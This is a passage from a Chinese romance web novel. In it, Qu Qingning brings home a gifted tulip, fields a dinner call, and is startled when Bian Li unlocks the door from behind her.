“清宁你这也太厉害了吧,我回头要开画展的话,能不能来找你做策展人啊?”
路溪是学美术的,在外地有一间自己的工作室,专门教小孩画画的。工作地方离古镇不算远,所以经常回家看爸妈。
尽管知道这是朋友之间的吹捧,多少带了些私人感情,曲清宁仍旧感到高兴。
她摸了摸鼻尖,应承下来:“可以啊,有需要的话直接和我说就行。”
这是她喜欢做的事情,永远不会感到厌倦。
店里焕然一新,老板自然是眉开眼笑了,她们俩离开时,直接挑了花免费送。
曲清宁选了一盆比较便宜的郁金香。
要不是她说拿不下了,老板还打算给她塞几盆多肉。
满载而归回了家,正好赶上了饭点。
出门在外,曲清宁也不好把花搬回民宿,只能暂时托路溪照料,想着到时候回去了再带走。
“你的意思是拜托我来照料吗?”
听了她的话,路溪不好意思地抓了抓头发。
“我是最近才开始学着养植物的,还是让边理帮我选的,要最好养活的那种。如果不是他,我估计不出一个月,这些花花草草的生命就会全部终结在我的手上。”
曲清宁:“……”
两个人站在院子里沉默了一会儿,余光瞥到旁边木架上的盆栽,路溪灵光一闪。
“那干脆就和边理养的这些放一起好了,反正他每天也要看他自己的这些,多你这一盆也不多。”
曲清宁:“…………”
她是绝对不会想去麻烦边理的。
“没事没事。”曲清宁抱着花放在了一旁,“那我带回民宿里去就好了。”
她自己注意些,不把房间弄脏,应该也没什么问题。
于是赶在吃饭之前,曲清宁又带着花回了民宿一趟,和刘曼轻说明缘由后,她把这盆郁金香放在了自己房间。
花花草草果然很有生活气息,原本普通的套间一瞬间都仿佛变得精致起来,看着颇有格调。
曲清宁拍了张照给万梦发过去,得到好友的夸赞后,她又马不停蹄地收拾一番,骑着电瓶车来了边理家。
正好到了门口,万若素给她打了电话。
“清宁,你还没回来吗?菜都上齐了,就差你一个了。”
曲清宁一边停车一边接,手忙脚乱地把手机夹在了肩膀和耳侧,温声回复:“好的,马上,我在门口了呢。”
她后知后觉“只差你一个”这句话,下意识地又问出了口:“边理……边理哥也回来了吗?”
万若素没听出她的紧张,只乐呵呵地说:“怎么?你也想他一块儿吃饭是吧?那我打给电话问问。”
被打趣了一早上,曲清宁早就免疫了,红着脸回了句不是就挂断了电话。
这时候打算进屋,但还没碰到密码锁,一只骨节分明的手忽然先她一步,直接摁在了指纹解锁的地方。
那人的手臂绕过她的肩膀,冷白的手背上有淡淡的青筋。
一看就知道是谁的手。
“滴——”一声,门自动开了。
曲清宁没敢往后看。
但隔着不到半步的距离,边理声音却不偏不倚地落在了她的耳旁。
“嗯,回来了。”
清冷的语调里含着一丝不易察觉的笑意。